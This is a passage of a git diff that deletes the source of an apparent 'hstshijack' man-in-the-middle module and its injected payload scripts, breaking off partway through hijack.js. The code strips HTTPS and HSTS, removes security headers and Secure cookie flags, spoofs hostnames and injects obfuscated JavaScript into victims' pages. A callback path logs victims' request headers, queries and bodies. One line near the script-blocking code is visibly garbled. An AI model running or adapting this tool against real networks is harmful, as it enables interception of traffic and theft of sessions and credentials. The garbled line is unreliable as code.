0; - replacement_host_wildcard_count = replacement_hosts[a].match(/\*/g).length || 0; - if (target_host_wildcard_count !== replacement_host_wildcard_count) { - log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets or hstshijack.replacements value, wildcards do not match (got " + target_hosts[a] + " and " + replacement_hosts[a] + ")."); - } - } - } - - for (a = 0; a < block_script_hosts.length; a++) { - if ( - !block_script_hosts[a].match(/^\*$/i) - && !block_script_hosts[a].match(whole_prefix_wildcard_domain_selector) - && !block_script_hosts[a].match(whole_suffix_wildcard_domain_selector) - ) { - log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.blockscripts value (got " + block_script_hosts[a] + ")."); - } - } - - if (obfuscate === "true") { - obfuscate = true; - } else { - obfuscate = false; - } - - /* Prepare payloads. */ - env["hstshijack.payloads"] - ? payload_entries = env["hstshijack.payloads"].replace(/\s/g, "").split(",") - : payload_entries = []; - - for (a = 0; a < payload_entries.length; a++) { - if ( - !payload_entries[a].match(/^\*:.+$/i) - && !payload_entries[a].match(/^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63}))):.+$/i) - && !payload_entries[a].match(whole_suffix_wildcard_domain_selector) - ) { - log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.payloads value (got " + payload_entries[a] + ")."); - } - - payload_host = payload_entries[a].replace(/[:].*/, ""); - payload_path = payload_entries[a].replace(/.*[:]/, ""); - - payload = ""; - if (!(payload = readFile(payload_path))) { - log_fatal(on_blue + "hstshijack" + reset + " Could not read a payload (got " + payload_path + ")."); - } else { - payload = payload - .replace(/obf_var_target_hosts/g, varname_target_hosts) - .replace(/obf_var_replacement_hosts/g, varname_replacement_hosts) - .replace(/obf_path_callback/g, callback_path) - .replace(/obf_path_ssl_index/g, ssl_index_path) - .replace(/obf_path_whitelist/g, whitelist_path); - - if (obfuscate) { - obfuscation_variables = payload.match(/obf_[a-z0-9_]*/ig) || []; - for (b = 0; b < obfuscation_variables.length; b++) { - if (obfuscation_variables.indexOf(obfuscation_variables[b]) === b) { - regexp = new RegExp(obfuscation_variables[b], "g"); - payload = payload.replace(regexp, randomString(8 + (Math.random() * 8))); - } - } - } - - if (payloads[payload_host]) { - payloads[payload_host] = payloads[payload_host] + "\n" + payload + "\n"; - } else { - payloads[payload_host] = payload + "\n"; - } - } - } - - /* Prepare payload container */ - payload_container_prefix = payload_container_prefix.replace(/\{\{SESSION_ID_TAG\}\}/g, session_id); - payload_container_prefix = payload_container_prefix + - "var " + varname_target_hosts + " = [\"" + target_hosts.join("\",\"") + "\"];\n" + - "var " + varname_replacement_hosts + " = [\"" + replacement_hosts.join("\",\"") + "\"];\n"; - payload_container_suffix = payload_container_suffix.replace(/\{\{SESSION_ID_TAG\}\}/g, session_id); - - /* Prepare SSL index */ - ssl_index_check = env["hstshijack.ssl.check"].toLowerCase() || "true"; - all_domains = readFile(env["hstshijack.ssl.domains"]).split("\n"); - if (all_domains.length === 0) { - log_info(on_blue + "hstshijack" + reset + " No indexed domains were found, index will be reset."); - } else { - if (ssl_index_check !== "false") { - log_info(on_blue + "hstshijack" + reset + " Indexing SSL domains ..."); - all_domains - .sort() - .filter(function(domain, index, arr){ - if (domain !== "" && arr.indexOf(domain) === index) { - indexDomain(domain); - } - }); - } else { - ssl.domains = all_domains; - index_file_contents = readFile(env["hstshijack.ssl.index"]); - if (ssl.domains.length !== 0 && index_file_contents === "") { - log_fatal(on_blue + "hstshijack" + reset + " List of domains using SSL is not indexed. Please set your hstshijack.ssl.check value to true in your caplet."); - } - ssl.index = JSON.parse(index_file_contents); - log_info(on_blue + "hstshijack" + reset + " Skipped SSL index check for " + all_domains.length + " domain(s)."); - } - } - - /* Ensure targeted hosts are in SSL log (no wildcards). */ - for (var a = 0; a < target_hosts.length; a++) { - if (target_hosts[a].indexOf("*") === -1) { - indexDomain(target_hosts[a]); - } - } - - saveSSLIndex(); - log_info(on_blue + "hstshijack" + reset + " Indexed " + ssl.domains.length + " domains."); -} - -function showConfig() { - /* Print module configuration. */ - logStr = "\n"; - logStr += " " + bold + "Caplet" + reset + "\n"; - logStr += "\n"; - logStr += " " + yellow + " hstshijack.ssl.domains" + reset + " > " + (env["hstshijack.ssl.domains"] ? green + env["hstshijack.ssl.domains"] : red + "undefined") + reset + "\n"; - logStr += " " + yellow + " hstshijack.ssl.index" + reset + " > " + (env["hstshijack.ssl.index"] ? green + env["hstshijack.ssl.index"] : red + "undefined") + reset + "\n"; - logStr += " " + yellow + " hstshijack.ssl.check" + reset + " > " + (env["hstshijack.ssl.check"].match(/^true$/i) ? green + "true" : red + "false") + reset + "\n"; - logStr += " " + yellow + " hstshijack.ignore" + reset + " > " + (env["hstshijack.ignore"] ? green + env["hstshijack.ignore"] : red + "undefined") + reset + "\n"; - logStr += " " + yellow + " hstshijack.targets" + reset + " > " + (env["hstshijack.targets"] ? green + env["hstshijack.targets"] : red + "undefined") + reset + "\n"; - logStr += " " + yellow + "hstshijack.replacements" + reset + " > " + (env["hstshijack.replacements"] ? green + env["hstshijack.replacements"] : red + "undefined") + reset + "\n"; - logStr += " " + yellow + "hstshijack.blockscripts" + reset + " > " + (env["hstshijack.blockscripts"] ? green + env["hstshijack.blockscripts"] : red + "undefined") + reset + "\n"; - logStr += " " + yellow + " hstshijack.obfuscate" + reset + " > " + (obfuscate ? green + "true" : red + "false") + reset + "\n"; - logStr += " " + yellow + " hstshijack.payloads" + reset + " > "; - if (env["hstshijack.payloads"]) { - list = env["hstshijack.payloads"].replace(/\s/g, "").split(","); - logStr += green + list[0] + reset + "\n"; - if (list.length > 1) { - for (a = 1; a < list.length; a++) { - logStr += " > " + green + list[a] + reset + "\n"; - } - } - } else { - logStr += red + "undefined" + reset + "\n"; - } - logStr += "\n"; - logStr += " " + bold + "Commands" + reset + "\n"; - logStr += "\n"; - logStr += " " + bold + " hstshijack.show" + reset + " : Show module info.\n"; - logStr += " " + bold + "hstshijack.ssl.domains" + reset + " : Show recorded domains with SSL.\n"; - logStr += " " + bold + " hstshijack.ssl.index" + reset + " : Show SSL domain index.\n"; - logStr += "\n"; - logStr += " " + bold + "Session info" + reset + "\n"; - logStr += "\n"; - logStr += " " + bold + " Session ID" + reset + " : " + session_id + "\n"; - logStr += " " + bold + " Callback path" + reset + " : " + callback_path + "\n"; - logStr += " " + bold + "Whitelist path" + reset + " : " + whitelist_path + "\n"; - logStr += " " + bold + "SSL index path" + reset + " : " + ssl_index_path + "\n"; - logStr += " " + bold + " SSL domains" + reset + " : " + ssl.domains.length + " domain" + (ssl.domains.length === 1 ? "" : "s") + "\n"; - console.log(logStr); -} - -function onCommand(cmd) { - if (cmd === "hstshijack.show") { - showConfig(); - return true; - } - if (cmd === "hstshijack.ssl.domains") { - if (ssl.domains.length > 20) { - truncated_domains = ssl.domains.slice(0, 20); - truncated_domains.push("..."); - log_string = truncated_domains.join(reset + "\n " + yellow); - console.log("\n" + bold + " Recorded domains with SSL (" + ssl.domains.length + ")" + reset + "\n\n " + yellow + log_string + reset + "\n"); - } else { - console.log("\n" + bold + " Recorded domains with SSL (" + ssl.domains.length + ")" + reset + "\n\n " + yellow + ssl.domains.join(reset + "\n " + yellow) + reset + "\n"); - } - return true; - } - if (cmd === "hstshijack.ssl.index") { - log_string = "\n" + bold + " SSL domain index (" + Object.keys(ssl.index).length + ")" + reset + "\n"; - for (a = 0; a < Object.keys(ssl.index).length; a++) { - indexed_char = Object.keys(ssl.index)[a]; - char_index = ssl.index[indexed_char]; - log_string += "\n " + yellow + indexed_char + reset + " (first: " + char_index[0] + ", last: " + char_index[1] + ")"; - } - console.log(log_string + "\n"); - return true; - } - if (cmd === "hstshijack.whitelist") { - console.log("\n" + JSON.stringify(whitelist, null, 2) + "\n"); - return true; - } -} - -function onLoad() { - math_seed = new Date().getMilliseconds(); - Math.random = function() { - return randomFloat(); - } - - log_info(on_blue + "hstshijack" + reset + " Generating random variable names for this session ..."); - session_id = randomString(8 + Math.random() * 8); - varname_target_hosts = randomString(8 + Math.random() * 8); - varname_replacement_hosts = randomString(8 + Math.random() * 8); - callback_path = "/" + randomString(8 + Math.random() * 8); - whitelist_path = "/" + randomString(8 + Math.random() * 8); - ssl_index_path = "/" + randomString(8 + Math.random() * 8); - - log_info(on_blue + "hstshijack" + reset + " Reading caplet ..."); - configure(); - log_info(on_blue + "hstshijack" + reset + " Module loaded."); - showConfig(); -} - -function onRequest(req, res) { - if (req.Path === ssl_index_path) { - /* - SSL callback. - - Requests made for this path should include a hostname in the query so - this module can send a HEAD request to learn HTTPS redirects. - */ - log_debug(on_blue + "hstshijack" + reset + " SSL callback received from " + green + req.Client.IP + reset + " for " + bold + req.Query + reset + "."); - queried_host = req.Query; - if (getDomainIndex(queried_host, getIndexRange(queried_host.charAt(0))) === -1) { - log_debug(on_blue + "hstshijack" + reset + " Learning unencrypted HTTP response from " + queried_host + " ..."); - req.Hostname = queried_host; - req.Path = "/"; - req.Query = ""; - req.Body = ""; - req.Method = "HEAD"; - } - } else if (req.Path === callback_path) { - /* - Basic callback. - - Requests made for this path will be dropped. - Requests made for this path will be printed. - */ - req.Scheme = "ignore"; - logStr = on_blue + "hstshijack" + reset + " Callback received from " + green + req.Client.IP + reset + " for " + bold + req.Hostname + reset + "\n"; - logStr += " " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " [" + green + "hstshijack.callback" + reset + "] " + on_grey + "CALLBACK" + reset + " " + "http://" + req.Hostname + req.Path + (req.Query !== "" ? ("?" + req.Query) : "") + "\n " + on_grey + " " + reset + " \n"; - logStr += " " + on_grey + " " + reset + " " + bold + "Headers" + reset + "\n " + on_grey + " " + reset + " \n"; - headers = req.Headers.split("\r\n"); - for (i = 0; i < headers.length; i++) { - if (headers[i].split(": ").length === 2) { - params = headers[i].split(": "); - logStr += " " + on_grey + " " + reset + " " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n"; - } else { - logStr += " " + on_grey + " " + reset + " " + yellow + headers[i] + reset + "\n"; - } - } - logStr += " " + on_grey + " " + reset + " " + bold + "Query" + reset + "\n " + on_grey + " " + reset + " \n"; - queries = req.Query.split("&"); - for (i = 0; i < queries.length; i++) { - if (queries[i].split("=").length === 2) { - params = queries[i].split("="); - logStr += " " + on_grey + " " + reset + " " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n"; - } else { - logStr += " " + on_grey + " " + reset + " " + green + queries[i] + reset + "\n"; - } - } - logStr += " " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " " + bold + "Body" + reset + "\n " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " " + yellow + req.ReadBody() + reset + "\n"; - log_info(logStr); - } else if (req.Path === whitelist_path) { - /* - Whitelisting callback. - - Requests made for this path will be dropped. - Requests made for this path will be printed. - Requests made for this path will stop all attacks towards this client with the requested hostname. - */ - req.Scheme = "ignore"; - logStr = on_blue + "hstshijack" + reset + " Whitelisting callback received from " + green + req.Client.IP + reset + " for " + bold + req.Hostname + reset + "\n"; - logStr += " " + on_white + " " + reset + " \n " + on_white + " " + reset + " [" + green + "hstshijack.callback" + reset + "] " + on_white + "WHITELIST" + reset + " " + "http://" + req.Hostname + req.Path + (req.Query !== "" ? ("?" + req.Query) : "") + "\n " + on_white + " " + reset + " \n"; - logStr += " " + on_white + " " + reset + " " + bold + "Headers" + reset + "\n " + on_white + " " + reset + " \n"; - headers = req.Headers.split("\n"); - for (i = 0; i < headers.length; i++) { - if (headers[i].split(": ").length === 2) { - params = headers[i].split(": "); - logStr += " " + on_white + " " + reset + " " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n"; - } else { - logStr += " " + on_white + " " + reset + " " + yellow + headers[i] + reset + "\n"; - } - } - logStr += " " + on_white + " " + reset + " " + bold + "Query" + reset + "\n " + on_white + " " + reset + " \n"; - queries = req.Query.split("&"); - for (i = 0; i < queries.length; i++) { - if (queries[i].split("=").length === 2) { - params = queries[i].split("="); - logStr += " " + on_white + " " + reset + " " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n"; - } else { - logStr += " " + on_white + " " + reset + " " + green + queries[i] + reset + "\n"; - } - } - logStr += " " + on_white + " " + reset + " \n " + on_white + " " + reset + " " + bold + "Body" + reset + "\n " + on_white + " " + reset + " \n " + on_white + " " + reset + " " + yellow + req.ReadBody() + reset + "\n"; - log_info(logStr); - - /* Add requested hostname to whitelist. */ - if (whitelist[req.Client.IP]) { - if (whitelist[req.Client.IP].indexOf(req.Hostname) === -1) { - whitelist[req.Client.IP].push(req.Hostname); - } - } else { - whitelist[req.Client.IP] = [req.Hostname]; - } - /* Also whitelist unspoofed version of requested hostname. */ - for (a = 0; a < target_hosts.length; a++) { - whole_regexp_set = toWholeRegexpSet(replacement_hosts[a], target_hosts[a]); - if (req.Hostname.match(whole_regexp_set[0])) { - whitelist[req.Client.IP].push(req.Hostname.replace(whole_regexp_set[0], whole_regexp_set[1])); - break; - } - } - } else { - /* - Not a callback. - - Redirect client to the real host if a whitelist callback was received previously. - Restore spoofed hostnames and schemes in request. - */ - if (whitelist[req.Client.IP]) { - for (a = 0; a < whitelist[req.Client.IP].length; a++) { - whole_regexp_set = toWholeRegexpSet(whitelist[req.Client.IP][a], ""); - if (req.Hostname.match(whole_regexp_set[0])) { - /* Restore requested hostname if it was spoofed. */ - var unspoofed_host; - for (b = 0; b < replacement_hosts.length; b++) { - whole_regexp_set = toWholeRegexpSet(replacement_hosts[b], target_hosts[b]); - if (req.Hostname.match(whole_regexp_set[0])) { - unspoofed_host = req.Hostname.replace(whole_regexp_set[0], whole_regexp_set[1]); - query = (req.Query !== "" ? ("?" + req.Query) : ""); - res.SetHeader("Location", "https://" + unspoofed_host + req.Path + query); - res.Status = 301; - log_info(on_blue + "hstshijack" + reset + " Redirecting " + green + req.Client.IP + reset + " from " + bold + req.Hostname + reset + " to " + bold + unspoofed_host + reset + " because we received a whitelisting callback."); - return; - } - } - } - } - } - - /* Restore original hostnames. */ - for (a = 0; a < target_hosts.length; a++) { - /* Restore original hostnames in headers. */ - regexp_set = toRegexpSet(replacement_hosts[a], target_hosts[a]); - if (req.Headers.match(regexp_set[0])) { - req.Headers = req.Headers.replace(regexp_set[0], regexp_set[1]); - log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + replacement_hosts[a] + reset + " in request header(s)."); - } - - if (req.Query !== "") { - /* Restore original hostnames in query URI. */ - if (req.Query.match(regexp_set[0])) { - req.Query = req.Query.replace(regexp_set[0], regexp_set[1]); - log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + replacement_hosts[a] + reset + " in query URI."); - } - - /* Restore original hostnames in encoded query URI parameters. */ - query_params = req.Query.split("&"); - new_params = []; - for (b = 0; b < query_params.length; b++) { - param = query_params[b]; - param_parts = param.match(selector_query_param); - if (param_parts) { - param_name = param_parts[1]; - param_value = param_parts[2]; - if (param_value.indexOf("%") !== -1) { - param_value_decoded = decodeURIComponent(param_value); - if (param_value !== param_value_decoded) { - if (param_value_decoded.match(regexp_set[0])) { - param_value_decoded_spoofed = param_value_decoded.replace( - regexp_set[0], - regexp_set[1]); - new_params.push( - param_name + "=" + encodeURIComponent(param_value_decoded_spoofed)); - } else { - new_params.push(param); - } - } else { - new_params.push(param); - } - } else { - if (param_value.match(regexp_set[0])) { - param_value_spoofed = param_value.replace(regexp_set[0], regexp_set[1]); - new_params.push(param_name + "=" + param_value_spoofed); - } else { - new_params.push(param); - } - } - } else { - new_params.push(param); - } - } - new_query_string = new_params.join("&"); - if (new_query_string !== req.Query) { - req.Query = new_query_string; - } - } - - /* Restore original hostname of request. */ - whole_regexp_set = toWholeRegexpSet(replacement_hosts[a], target_hosts[a]) - if (req.Hostname.match(whole_regexp_set[0])) { - spoofed_host = req.Hostname; - req.Hostname = req.Hostname.replace(whole_regexp_set[0], whole_regexp_set[1]); - req.Scheme = "https"; - log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + spoofed_host + reset + " to " + req.Hostname + " and restored HTTPS scheme."); - } - } - - /* Restore HTTPS scheme. */ - if (getDomainIndex(req.Hostname, getIndexRange(req.Hostname.charAt(0))) !== -1) { - /* Restore HTTPS scheme of request if domain is indexed. */ - if (req.Scheme !== "https") { - req.Scheme = "https"; - log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + bold + req.Hostname + reset + "."); - } - /* Restore HTTPS scheme in request headers if domains are indexed. */ - escaped_domain = req.Hostname.replace(selector_all_dots, "\\.").replace(selector_all_dashes, "\\-"); - regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9\\-\\.]|$)", "ig"); - if (req.Headers.match(regexp)) { - req.Headers = req.Headers.replace(regexp, "https://" + req.Hostname + "$1"); - log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers."); - } - } else { /* If requested domain is not indexed. */ - log_debug(on_blue + "hstshijack" + reset + " Domain " + bold + req.Hostname + reset + " is not indexed."); - if (req.Scheme !== "https") { - for (b = 0; b < target_hosts; b++) { - /* Restore HTTPS scheme of request if domain is targeted. */ - whole_regexp_set = toWholeRegexpSet(target_hosts[b], ""); - if (req.Hostname.match(whole_regexp_set[0])) { - req.Scheme = "https"; - log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of targeted domain " + bold + req.Hostname + reset + "."); - break; - } - /* Restore HTTPS scheme in request headers if domains are targeted. */ - regexp_set = toRegexpSet(target_hosts[b], ""); - matches = req.Headers.match(regexp_set[0]); - for (c = 0; c < matches.length; c++) { - escaped_domain = matches[c].replace(selector_all_dots, "\\.").replace(selector_all_dashes, "\\-"); - regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9\\-\\.]|$)", "ig"); - req.Headers = req.Headers.replace(regexp, "https://" + matches[c] + "$1"); - log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers."); - } - } - } - } - } -} - -function onResponse(req, res) { - res.ReadBody(); - - /* Remember HTTPS redirects. */ - location = res.GetHeader("Location", ""); - if (location.match(selector_uri_one)) { - host = location.replace(selector_uri_two, "$1"); - if (host !== "") { - indexDomain(host); - } - } - - /* Ignore this response if whitelisted. */ - if (whitelist[req.Client.IP]) { - if (whitelist[req.Client.IP].indexOf(req.Hostname) !== -1) { - log_debug(on_blue + "hstshijack" + reset + " Ignoring response from " + bold + req.Hostname + reset + " for " + bold + req.Client.IP + reset + "."); - return; - } - } else { - for (a = 0; a < ignore_hosts.length; a++) { - var whole_regexp_set; - if (ignore_hosts[a] !== "*") { - whole_regexp_set = toWholeRegexpSet(ignore_hosts[a], ""); - } - - if ( - ignore_hosts[a] === "*" - || req.Hostname.match(whole_regexp_set[0]) - ) { - log_debug(on_blue + "hstshijack" + reset + " Ignored response from " + bold + req.Hostname + reset + "."); - return; - } - } - - /* Spoof markup bodies. */ - if ( - res.ContentType.match(selector_content_type_html) - || req.Path.match(selector_extension_html) - ) { - /* Prevent meta tag induced CSP restrictions. */ - res.Body = res.Body.replace( - selector_meta_tag_csp, - "$1"); - - /* Block scripts. */ - for (a = 0; a < block_script_hosts.length; a++) { - if ( - block_script_hosts[a] === "*" - || req.Hostname.match(toWholeRegexpSet(block_script_hosts[a], "")[0]) - ) { - res.Body = res.Body.replace(selector_html_script_open_tag, "
\n" + - payload_container_prefix + injection + payload_container_suffix + - "\n" + - res.Body; - } - log_debug(on_blue + "hstshijack" + reset + " Injected document from " + bold + req.Hostname + reset + " for " + bold + req.Client.IP + reset); - } - } - - /* Spoof JavaScript bodies. */ - if (res.ContentType.match(selector_content_type_js)) { - /* Block scripts. */ - for (a = 0; a < block_script_hosts.length; a++) { - if ( - block_script_hosts[a] === "*" - || req.Hostname.match(toWholeRegexpSet(block_script_hosts[a], "")[0]) - ) { - res.Body = ""; - log_debug(on_blue + "hstshijack" + reset + " Cleared JavaScript resource from " + bold + req.Hostname + reset + "."); - break; - } - } - - /* Inject payloads. */ - injection = ""; - for (a = 0; a < Object.keys(payloads).length; a++) { - injecting_host = Object.keys(payloads)[a]; - if ( - injecting_host === "*" - || req.Hostname.match(toWholeRegexpSet(injecting_host, "")[0]) - ) { - injection = injection + payloads[injecting_host]; - } - } - if (injection !== "") { - res.Body = payload_container_prefix + injection + payload_container_suffix + res.Body; - log_debug(on_blue + "hstshijack" + reset + " Injected JavaScript file from " + bold + req.Hostname + reset + " for " + bold + req.Client.IP + reset); - } - } - - /* Strip SSL from location headers. */ - res.Headers = res.Headers - .replace(selector_scheme_http_https_colon, "$1:") - .replace(selector_port_https, "$1"); - - /* Spoof hosts in headers. */ - for (a = 0; a < target_hosts.length; a++) { - regexp_set = toRegexpSet(target_hosts[a], replacement_hosts[a]); - res.Headers = res.Headers.replace(regexp_set[0], regexp_set[1]); - } - - /* Remove secure cookie settings. */ - new_headers = ""; - res.Headers.split("\r\n").forEach(function(headerString){ - if (headerString !== "") { - matches = headerString.match(selector_header); - if (matches.length >= 3) { - header_name = matches[1]; - header_value = matches[2]; - if (header_name.match(selector_header_set_cookie)) { - new_header_value = ""; - cookie_params = header_value.split(";"); - cookie_params.forEach(function(cookie_param){ - if (cookie_param !== "") { - stripped_cookie_param = cookie_param.match(selector_strip_whitespace)[1]; - if (!stripped_cookie_param.match(selector_header_set_cookie_secure_samesite)) { - if (new_header_value === "") { - new_header_value = stripped_cookie_param; - } else { - new_header_value += "; " + stripped_cookie_param; - } - } - } - }); - new_headers += header_name + ": " + new_header_value + "\r\n"; - } else { - new_headers += header_name + ": " + header_value + "\r\n"; - } - } - } - }); - - /* Remove security headers. */ - res.Headers = res.Headers.replace(selector_header_csp, ""); - res.RemoveHeader("Strict-Transport-Security"); - res.RemoveHeader("Content-Security-Policy-Report-Only"); - res.RemoveHeader("Public-Key-Pins"); - res.RemoveHeader("Public-Key-Pins-Report-Only"); - res.RemoveHeader("X-Frame-Options"); - res.RemoveHeader("X-Content-Type-Options"); - res.RemoveHeader("X-Download-Options"); - res.RemoveHeader("X-Permitted-Cross-Domain-Policies"); - res.RemoveHeader("X-XSS-Protection"); - res.RemoveHeader("Expect-Ct"); - - /* Set insecure headers. */ - allowed_origin = res.GetHeader("Access-Control-Allow-Origin", "*"); - if (allowed_origin !== "*") { - for (a = 0; a < target_hosts.length; a++) { - regexp_set = toRegexpSet(target_hosts[a], replacement_hosts[a]); - if (allowed_origin.match(regexp_set[0])) { - allowed_origin = allowed_origin.replace(regexp_set[0], regexp_set[1]); - break; - } - } - } - res.SetHeader("Content-Security-Policy", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x"); - res.SetHeader("X-WebKit-CSP", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x"); - res.SetHeader("X-Content-Security-Policy", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x"); - res.SetHeader("Access-Control-Allow-Credentials", "true"); - res.SetHeader("Access-Control-Allow-Origin", allowed_origin); - res.SetHeader("Access-Control-Allow-Methods", "*"); - res.SetHeader("Access-Control-Allow-Headers", "*"); - res.SetHeader("Cache-Control", "no-cache, no-store, must-revalidate"); - res.SetHeader("Expires", "Fri, 20 Apr 2018 04:20:00 GMT"); - res.SetHeader("Pragma", "no-cache"); - } -} - diff --git a/hstshijack/index.json b/hstshijack/index.json deleted file mode 100644 index e69de29..0000000 diff --git a/hstshijack/payloads/google-search.js b/hstshijack/payloads/google-search.js deleted file mode 100644 index d50be33..0000000 --- a/hstshijack/payloads/google-search.js +++ /dev/null @@ -1,23 +0,0 @@ -globalThis.addEventListener("DOMContentLoaded", function(){ - "use strict"; - - if (location.pathname === "/search") { - document.querySelectorAll("a").forEach(function(obf_var_link){ - if (obf_var_link.href && obf_var_link.href !== "") { - var obf_var_container = document.createElement("obf_dummy"); - obf_var_container.append(obf_var_link.cloneNode(true)) - obf_var_container.addEventListener("click", function(e){ - e.preventDefault(); - location.href = obf_var_link.href; - }); - obf_var_link.before(obf_var_container); - obf_var_link.remove(); - } - }); - } - - var obf_var_stylesheet = document.createElement("style"); - obf_var_stylesheet.innerText = `.gb_Pa{box-shadow:none}`; - document.body.append(obf_var_stylesheet); -}); - diff --git a/hstshijack/payloads/hijack.js b/hstshijack/payloads/hijack.js deleted file mode 100644 index 265eed8..0000000 --- a/hstshijack/payloads/hijack.js +++ /dev/null @@ -1,234 +0,0 @@ -/* - Hooks XMLHttpRequest as well as 'a', 'form', 'script' and 'iframe' nodes. - This payload is essential for hostname replacements. - - Remember that any occurrence of 'obf_path_ssl_log', 'obf_path_callback' and - 'obf_path_whitelist' in this payload will be replaced when the proxy module - loads and that variable names 'obf_var_target_hosts' and 'obf_var_replacement_hosts' - are already declared before this is injected. -*/ - -(function(){ - "use strict"; - - var obf_var_regex_one = /\-/g, - obf_var_regex_two = /^\*./, - obf_var_regex_three = /^\*\./, - obf_var_regex_four = /\./g, - obf_var_regex_five = /^\*\./, - obf_var_regex_six = /\.\*$/, - obf_var_regex_seven = /\.\*/g; - - globalThis.addEventListener("DOMContentLoaded", function(){ - "use strict"; - - var obf_func_open = XMLHttpRequest.prototype.open, - obf_var_XMLHttpRequest = new XMLHttpRequest(), - obf_var_callback_log = []; - - function obf_func_toWholeRegexpSet(obf_var_selector_string, obf_var_replacement_string) { - if (obf_var_selector_string.indexOf("*") != -1) { - obf_var_selector_string = obf_var_selector_string.replace(obf_var_regex_one, "\\-"); - if (obf_var_selector_string.match(obf_var_regex_two)) { - var obf_var_selector_string = obf_var_selector_string.replace(obf_var_regex_three, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)"), - obf_var_selector_string = obf_var_selector_string.replace(obf_var_regex_four, "\\."), - obf_var_replacement_string = obf_var_replacement_string.replace(obf_var_regex_five, ""); - return [ - new RegExp("^" + obf_var_selector_string + "$", "ig"), - "$1" + obf_var_replacement_string - ]; - } else if (obf_var_selector_string.match(obf_var_regex_six)) { - var obf_var_selector_string = obf_var_selector_string.replace(obf_var_regex_seven, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)"), - obf_var_selector_string = obf_var_selector_string.replace(obf_var_regex_four, "\\."), - obf_var_replacement_string = obf_var_replacement_string.replace(obf_var_regex_six, ""); - return [ - new RegExp(obf_var_selector_string, "ig"), - obf_var_replacement_string + "$1" - ]; - } - } else { - var obf_var_selector_string = obf_var_selector_string.replace(obf_var_regex_four, "\\."), - obf_var_selector_string = obf_var_selector_string.replace(/\-/g, "\\-"); - return [ - new RegExp("^" + obf_var_selector_string + "$", "ig"), - obf_var_replacement_string - ]; - } - } - - function obf_func_parseURL(obf_var_url) { - var obf_var_strippedURL = obf_var_url.replace(/^\s*(.*)\s*$/g, "$1"), - obf_var_retval = ["","","","","",""]; - if (obf_var_strippedURL.match(/^((?:\w+:)?\/\/).*$/i)) { - obf_var_retval[0] = obf_var_strippedURL.replace(/^((?:\w+:)?\/\/).*$/i, "$1"); - } - if (obf_var_strippedURL.match(/^(?:(?:(?:\w+:)?\/\/)((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63}))(?:[:][1-9][0-9]{0,4})?)(?:[/][^/].*$|[/]$|[?#].*$|$)/i)) { - obf_var_retval[1] = obf_var_strippedURL.replace(/^(?:(?:(?:\w+:)?\/\/)((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63}))(?:[:][1-9][0-9]{0,4})?)(?:[/][^/].*$|[/]$|[?#].*$|$)/i, "$1"); - } - if (obf_var_strippedURL.match(/^(?:(?:(?:\w+:)?\/\/)?(?:(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63})))([:][1-9][0-9]{0,4}).*/i)) { - obf_var_retval[2] = obf_var_strippedURL.replace(/^(?:(?:(?:\w+:)?\/\/)?(?:(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63})))([:][1-9][0-9]{0,4}).*$/i, "$1"); - } - if (obf_var_strippedURL.match(/^(?:(?:\w+:)?\/\/(?:(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63}))(?:[:][1-9][0-9]{0,4})?)?([/][^?#]*).*/i)) { - obf_var_retval[3] = 